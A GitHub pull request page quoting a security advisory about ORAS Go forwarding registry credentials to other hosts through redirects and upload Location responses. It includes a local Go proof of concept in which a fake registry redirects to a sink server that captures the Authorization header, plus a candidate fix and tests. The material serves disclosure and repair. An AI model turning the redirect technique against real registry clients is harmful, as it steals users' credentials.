Attachments include poc.zip with a local-only harness (no real registry required). It runs a fake registry server that returns a cross-host Location and a second server that records whether it received Authorization.

unzip -q -o poc.zip -d /tmp/poc
cd /tmp/poc/poc-F-ORAS-LOCATION-UPLOAD-001
make canonical
make control
Recommended Fix
  • validate Location before uploading (scheme + hostname + effective port) against the original request, or require an explicit opt-in allowlist for cross-host upload urls
  • never forward Authorization when the upload target changes host or scheme
references

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


ORAS Go forwards registry credentials across registry redirects

GHSA-vh4v-2xq2-g5cg

More information

Details

ORAS Go forwards registry credentials across registry redirects

Reporter / public credit: JUNYI LIU

Summary

ORAS Go can forward registry credentials configured for one registry origin to a different HTTP origin during registry redirects.

There are two related paths:

  1. A manifest or metadata request authenticates to the origin registry, then the origin returns a redirect to another host or port. The redirected request can carry the origin Authorization header to the redirect target.
  2. A blob upload POST authenticates to the origin registry, then the origin returns an upload Location on another host or port. The follow-up PUT can carry the origin Authorization header to the Location target.

The upload Location issue appears related to the existing public fix in pull request #​1152 / GHSA-jxpm-75mh-9fp7. The manifest redirect path is a residual adjacent route: the v2 branch after the upload Location fix still forwards Basic credentials on an authenticated manifest redirect.

Impact

A registry response can cause an ORAS Go or ORAS CLI client to send configured registry credentials to an unintended endpoint. In common workflows, those credentials may come from a registry config / Docker-style auth file rather than command-line flags.

This is a credential exposure across the registry-origin boundary. I am not claiming remote code execution, registry compromise, arbitrary token theft, or live third-party impact.

Affected Versions Tested
  • oras-go v2.6.0: affected.
  • oras-go main at commit a57383e580c8f2c97fb67dedfc5c9945c8c3614e: affected.
  • oras-go v2 branch at commit d593d504779be8b69f0ba034ac9fd407d1fc8cfc: upload Location path is blocked, but manifest redirect credential forwarding is still affected.
  • ORAS CLI at commit 3d2646279c70ba60415440e44c2ff97896e4a209, using oras-go v2.6.0: affected when using --registry-config.
Security Invariant

Credentials resolved for one registry origin should not be silently forwarded to a different origin reached through a registry redirect or upload Location response.

Local Reproduction Overview

All testing used loopback servers and fake credentials only.

Manifest redirect flow:

  1. The client requests a manifest from the origin registry.
  2. The origin returns 401 with a Basic challenge.
  3. The client retries the origin request with the origin credential.
  4. The origin returns 307 to another port on the same hostname.
  5. The redirect sink receives the origin Authorization header.

ORAS CLI stored-credential flow:

  1. A temporary registry config contains a fake Basic credential for the origin registry only.
  2. Run:
oras manifest fetch --plain-http --registry-config <config> <origin>/probe:latest
  1. The origin authenticates the request and redirects it to another port.
  2. The redirect sink receives the origin Authorization header.

Blob upload Location flow:

  1. The client starts a blob upload with POST to the origin registry.
  2. The origin challenges with Basic and then accepts the authenticated POST.
  3. The origin returns an upload Location URL on another port.
  4. In affected versions, the follow-up PUT to the Location target carries the origin Authorization header.
Expected Result

Redirect and upload Location targets on a different HTTP origin should not receive the origin Authorization header.

Observed Result

In affected versions, redirect or Location sinks received:

Authorization: Basic <base64 origin_user:origin_pass>
Standalone Reproducer
package main

import (
	"context"
	"encoding/json"
	"fmt"
	"net/http"
	"net/http/httptest"
	"os"
	"sync"

	"github.com/opencontainers/go-digest"
	"github.com/oras-project/oras-go/v3/registry/remote"
	"github.com/oras-project/oras-go/v3/registry/remote/auth"
	"github.com/oras-project/oras-go/v3/registry/remote/credentials"
)

type hit struct {
	Method string `json:"method"`
	Path   string `json:"path"`
	Host   string `json:"host"`
	Auth   string `json:"auth,omitempty"`
}

func main() {
	const username = "origin_user"
	const password = "origin_pass"
	const expectedAuth = "Basic b3JpZ2luX3VzZXI6b3JpZ2luX3Bhc3M="
	var mu sync.Mutex
	var originHits, sinkHits []hit

	record := func(dst *[]hit, r *http.Request) {
		mu.Lock()
		defer mu.Unlock()
		*dst = append(*dst, hit{
			Method: r.Method,
			Path:   r.URL.RequestURI(),
			Host:   r.Host,
			Auth:   r.Header.Get("Authorization"),
		})
	}

	manifest := []byte(`{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.unknown.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}`)
	manifestDigest := digest.FromBytes(manifest).String()

	sink := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		record(&sinkHits, r)
		if r.Header.Get("Authorization") != expectedAuth {
			w.Header().Set("Www-Authenticate", `Basic realm="redirect-sink"`)
			w.WriteHeader(http.StatusUnauthorized)
			return
		}
		w.Header().Set("Content-Type", "application/vnd.oci.image.manifest.v1+json")
		w.Header().Set("Docker-Content-Digest", manifestDigest)
		w.Header().Set("Content-Length", fmt.Sprint(len(manifest)))
		_, _ = w.Write(manifest)
	}))
	defer sink.Close()

	origin := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		record(&originHits, r)
		if r.Header.Get("Authorization") != expectedAuth {
			w.Header().Set("Www-Authenticate", `Basic realm="origin"`)
			w.WriteHeader(http.StatusUnauthorized)
			return
		}
		http.Redirect(w, r, sink.URL+r.URL.RequestURI(), http.StatusTemporaryRedirect)
	}))
	defer origin.Close()

	repo, err := remote.NewRepository(origin.Listener.Addr().String() + "/probe")
	if err != nil {
		panic(err)
	}
	repo.PlainHTTP = true
	repo.Client = &auth.Client{
		Client: origin.Client(),
		CredentialFunc: credentials.StaticCredentialFunc(origin.Listener.Addr().String(), credentials.Credential{
			Username: username,
			Password: password,
		}),
	}

	_, _, err = repo.Manifests().FetchReference(context.Background(), "latest")

	leaked := false
	for _, h := range sinkHits {
		if h.Auth == expectedAuth {
			leaked = true
		}
	}

	result := map[string]any{
		"origin_hits": originHits,
		"sink_hits":   sinkHits,
		"error":       "",
		"leaked":      leaked,
	}
	if err != nil {
		result["error"] = err.Error()
	}
	encoded, _ := json.MarshalIndent(result, "", "  ")
	fmt.Println(string(encoded))

	if leaked {
		fmt.Println("VULNERABLE_BEHAVIOR_CONFIRMED")
		return
	}
	fmt.Println("BOUNDARY_HELD_NO_CREDENTIAL_LEAK")
	os.Exit(1)
}
Candidate Fix

The candidate fix does two things:

  1. In the auth client, wrap redirect handling so Authorization is removed when a redirect changes HTTP origin, while preserving any caller-provided CheckRedirect callback.
  2. In blob upload completion, only reuse the previous POST Authorization header when the upload Location remains on the same HTTP origin.

The patch also adds regression coverage for both redirect cases:

  • redirect before origin authentication reaches a different origin;
  • redirect after origin authentication reaches a different origin.
diff --git a/registry/remote/auth/client.go b/registry/remote/auth/client.go
index 35826eb..60c9f88 100644
--- a/registry/remote/auth/client.go
+++ b/registry/remote/auth/client.go
@&#8203;@&#8203; -122,7 +122,23 @&#8203;@&#8203; func (c *Client) send(req *http.Request) (*http.Response, error) {
 	for key, values := range c.Header {
 		req.Header[key] = append(req.Header[key], values...)
 	}
-	return c.client().Do(req)
+	client := c.client()
+	clientCopy := *client
+	checkRedirect := client.CheckRedirect
+	clientCopy.CheckRedirect = func(redirectReq *http.Request, via []*http.Request) error {
+		if len(via) > 0 && !sameHTTPOrigin(via[len(via)-1].URL, redirectReq.URL) {
+			redirectReq.Header.Del(headerAuthorization)
+		}
+		if checkRedirect != nil {
+			return checkRedirect(redirectReq, via)
+		}
+		return nil
+	}
+	return clientCopy.Do(req)
+}
+
+func sameHTTPOrigin(a, b *url.URL) bool {
+	return strings.EqualFold(a.Scheme, b.Scheme) && strings.EqualFold(a.Host, b.Host)
 }
 
 // credential resolves the credential for the given registry.
@&#8203;@&#8203; -168,6 +184,9 @&#8203;@&#8203; func (c *Client) Do(originalReq *http.Request) (*http.Response, error) {
 	var attemptedKey string
 	cache := c.cache()
 	host := originalReq.Host
+	if host == "" {
+		host = originalReq.URL.Host
+	}
 	scheme, err := cache.GetScheme(ctx, host)
 	if err == nil {
 		switch scheme {
@&#8203;@&#8203; -193,6 +212,13 @&#8203;@&#8203; func (c *Client) Do(originalReq *http.Request) (*http.Response, error) {
 	if resp.StatusCode != http.StatusUnauthorized {
 		return resp, nil
 	}
+	respHost := resp.Request.Host
+	if respHost == "" {
+		respHost = resp.Request.URL.Host
+	}
+	if respHost != host {
+		return resp, nil
+	}
 
 	// attempt again with credentials for recognized schemes
 	challenge := resp.Header.Get(headerWWWAuthenticate)
diff --git a/registry/remote/repository.go b/registry/remote/repository.go
index 74d6b89..0bd20ec 100644
--- a/registry/remote/repository.go
+++ b/registry/remote/repository.go
@&#8203;@&#8203; -982,6 +983,7 @&#8203;@&#8203; func (s *blobStore) Push(ctx context.Context, expected ocispec.Descriptor, conte
 // Push or by Mount when the receiving repository does not implement the
 // mount endpoint.
 func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.Request, resp *http.Response, expected ocispec.Descriptor, content io.Reader) error {
+	originalURL := req.URL
 	reqHostname := req.URL.Hostname()
 	reqPort := req.URL.Port()
 	// monolithic upload
@&#8203;@&#8203; -1016,8 +1018,9 @&#8203;@&#8203; func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.
 	q.Set("digest", expected.Digest.String())
 	req.URL.RawQuery = q.Encode()
 
-	// reuse credential from previous POST request
-	if auth := resp.Request.Header.Get("Authorization"); auth != "" {
+	// reuse credential from previous POST request only when the upload location
+	// remains on the same origin.
+	if auth := resp.Request.Header.Get("Authorization"); auth != "" && sameHTTPOrigin(originalURL, location) {
 		req.Header.Set("Authorization", auth)
 	}
 	resp, err = s.repo.do(req)
@&#8203;@&#8203; -1032,6 +1035,10 @&#8203;@&#8203; func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.
 	return nil
 }
 
+func sameHTTPOrigin(a, b *url.URL) bool {
+	return strings.EqualFold(a.Scheme, b.Scheme) && strings.EqualFold(a.Host, b.Host)
+}
+
 // Exists returns true if the described content exists.
 func (s *blobStore) Exists(ctx context.Context, target ocispec.Descriptor) (bool, error) {
 	if err := s.repo.checkPolicy(ctx, ""); err != nil {
Validation Performed

The repaired candidate fix blocked:

  • manifest redirect credential forwarding;
  • upload Location credential forwarding.

Targeted tests passed:

go test ./registry/remote/auth -run 'TestClient_Do_Basic_Auth_Redirect|TestClient_Do' -count=1
go test ./registry/remote -run 'Test_BlobStore_Push|TestRepository' -count=1
Prior Art / Duplicate Notes

Public pull request #​1152 fixes credential forwarding via unvalidated blob upload Location and references GHSA-jxpm-75mh-9fp7. The residual manifest redirect path described here is adjacent but not covered by that PR's stated upload Location scope.

Bearer realm credential exfiltration appears to be a separate issue family and is not part of this report's primary claim.

Note

PR body was truncated to here.

@crossplane-renovate crossplane-renovate Bot requested review from a team, jcogilvie and tampakrap as code owners July 2, 2026 09:03
@crossplane-renovate crossplane-renovate Bot requested review from haarchri and removed request for a team July 2, 2026 09:03
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants